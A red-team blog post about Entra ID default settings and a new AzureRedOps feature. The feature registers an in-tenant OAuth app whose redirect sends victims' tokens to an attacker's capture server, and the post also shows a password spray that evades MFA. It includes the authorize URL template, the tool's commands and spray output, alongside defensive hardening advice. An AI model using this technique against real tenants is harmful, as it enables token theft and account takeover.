Azure EntraID Phishing Red Team

The Danger of Default: Entra ID Permissions and AzureRedOps

Mr.Un1k0d3r

The Danger of Default: Entra ID Permissions and AzureRedOps

Defaults are where security goes to quietly die. Nobody chooses them, nobody reviews them, and yet they decide what a stranger can do inside your tenant on day one. Azure Entra ID is a perfect example. Out of the box, an ordinary user - no admin role, no special grant, just a regular account - can register their own application and read the entire directory. Microsoft turned those switches on for you, and most tenants never turn them off.

That is not a hypothetical. It is a red team primitive, and this week it became a one-command primitive. I pushed a small but significant update to AzureRedOps that turns those defaults into a clean, trusted phishing channel. Let me walk you through why it works and, more importantly, how to make sure it does not work against you.

The two switches that matter

Every Entra ID tenant ships with a set of user settings that are permissive by default. Two of them do most of the damage here:

Read those two lines again. A single compromised low-privilege account can register software in your name and hand the attacker a full roster of everyone else to aim at. The picture below shows the default configuration, which allows all of these actions.

Default Entra ID user settings: users can register applications and read other users are both set to Yes Entra ID > User settings (defaults) Every switch that matters is already flipped on when the tenant is created. Users can register applications allowedToCreateApps YES Users can read other users allowedToReadOtherUsers YES Guests can invite / consent to apps permissive by default OPEN Default = attacker friendly. Nobody hardened this; it shipped this way. Flip "register applications" to No for non-privileged users, then tighten the rest.
The default Entra ID user settings: register applications and read other users are both on before anyone touches the tenant.

What the new AzureRedOps feature does

Here is the update. You can now register an application in the target tenant, as long as the user is permitted to do so through allowedToCreateApps - which, as we just covered, is enabled by default. The registered application is given a redirect URL pointing to a server you control, so when a victim authenticates, their tokens land at your location instead of staying with Microsoft.

The clever part is where the application lives. Because it is registered inside the target tenant, it shows up as a trusted, first-party-looking application to every user in that tenant. That makes it an ideal vector for targeted phishing against other users - and if allowedToReadOtherUsers is enabled (again, the default), the attacker can enumerate and extract user information to build the exact target list they want to hit.

Attack flow: a tenant user signs in to a trusted application registered inside their own tenant, which redirects the OAuth response to an attacker-controlled CaptureServer where the token is captured
The register-app flow: a trusted in-tenant application redirects the sign-in response straight to your CaptureServer.

Why the trust factor is so strong

The strength of this technique lies entirely in trust. The user sees an application that belongs to their own tenant. There is no unfamiliar third party asking for consent, and, crucially, the authentication request does not rely on the well-known device login workflow that trained users have started to distrust. There is no "enter this code on microsoft.com/devicelogin" moment that makes a careful person pause. Instead, it simply sends a normal-looking authorization request to the standard Microsoft sign-in endpoint:

https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize
    ?client_id={your_registered_app}
    &redirect_uri=https://your-server/callback
    &response_type=token
    &scope=...

From the victim's point of view this is just their own company signing them in. The client_id resolves to an app in their tenant, the domain is Microsoft's real login host, and the token quietly ends up at the redirect_uri you chose.

Using the feature

It is deliberately simple. Register the application with the new option, then start the capture server that is now shipped in the repository:

python AzureRedOps.py register-app
python CaptureServer.py

register-app creates the application in the target tenant and wires up your redirect URL. CaptureServer.py, new in the repo, listens at that redirect location and records the tokens as they arrive. Both live in the AzureRedOps repository if you want to read the code and follow along.

The MFA policy that only looks enforced

Here is the part that catches even security-conscious teams off guard. Most organisations believe they "have MFA enabled", and on paper they do. But MFA in Entra ID is not a single global switch. It is enforced through Conditional Access policies, and those policies are scoped: to specific users, specific applications, specific client platforms, and specific sign-in surfaces. Anything outside that scope authenticates with a password alone. If your policy does not cover every context, you do not have MFA. You have MFA in the places you happened to remember.

Attackers know exactly where to look. Entra ID trusts a long list of Microsoft first-party client applications, each with its own well-known client_id. A password spray does not have to target the polished web sign-in page that your Conditional Access policy protects. It can request a token against one of those built-in clients instead, and if no MFA policy covers that particular client or resource, a single valid password is enough to get in. No second factor is ever requested.

The screenshot below is AzureRedOps spraying exactly this way. Watch the pattern: some clients come back interaction_required and fail, because an MFA policy does cover them. But others - the Microsoft Authenticator App client, Azure Active Directory Connect, Microsoft Docs - return login successful with nothing but a password. Same user, same tenant, same credential. The only thing that changed was which application context the request pretended to come from.

AzureRedOps password spray: some Microsoft client contexts require interaction (MFA) and fail, while others sign in on a password alone, proving MFA is not enforced in every context AzureRedOps - password spray me@cfhamilton-pc:~/AzureRedOps$ python3 AzureRedOps.py spray ActionMicrosoft domain set to 'microsoftonline.com'. ActionPermission check is ON. ActionSpraying using includes/auth_apps.json as the source. FailedAzure AD PowerShell (1b730954-...) failed. Failedinteraction_required SuccessMicrosoft Authenticator App (4813382a-...) login successful. SuccessAll users can be enumerated. SuccessAzure AD Connect (cb1056e2-...) login successful. SuccessAll applications can be viewed. FailedMicrosoft Bing Search (cf36b471-...) failed. Failedinteraction_required SuccessMicrosoft Docs (18fbca16-...) login successful. Same user, same password. Only the client context changed.
AzureRedOps against a tenant that "has MFA": some client contexts demand interaction, others sign in on a password alone. That gap is all an attacker needs.

Once one of those password-only logins succeeds, the token that comes back can carry real scope. In the run above the successful sessions returned permissions like Directory.Read.All and Application.ReadWrite.All, enough to enumerate every user and manipulate applications - which loops straight back to the registration abuse we started with. A single unprotected client context can undo the MFA you thought was covering the whole tenant.

The fix is to make MFA truly universal. Build Conditional Access policies that require multifactor authentication for all users across all cloud applications, with no convenience carve-outs, and explicitly block or restrict legacy and non-interactive authentication flows that cannot present a second factor. Then test it the way an attacker would, by trying to authenticate through the client contexts you were not thinking about.

Do not underestimate application creation

It is easy to file "users can register apps" under harmless convenience. Do not. The ability to create applications is a genuinely powerful capability, and it should be disabled unless it is explicitly required. Users without privileged roles have no business registering applications in your Azure tenant, and every account that can do so is a potential launch point for exactly the attack described above.

Concretely, this means two changes worth making today:

Conclusion: go review your configuration

The uncomfortable truth is that most tenants are wide open not because someone made a bad decision, but because nobody ever made a decision at all. The defaults decided for them. AzureRedOps now makes that gap trivial to exploit, and the only reliable answer is on the defensive side.

So take this as your prompt: go and review your Azure and Entra ID configuration now. Open the user settings, check who can register applications, check who can read the directory, walk your default policies, and turn off everything that is on for no reason. Assume an attacker will find the one switch you left flipped, because tools like this one are built to do exactly that. A few minutes in the portal today is far cheaper than a captured token tomorrow.

← Back to Blog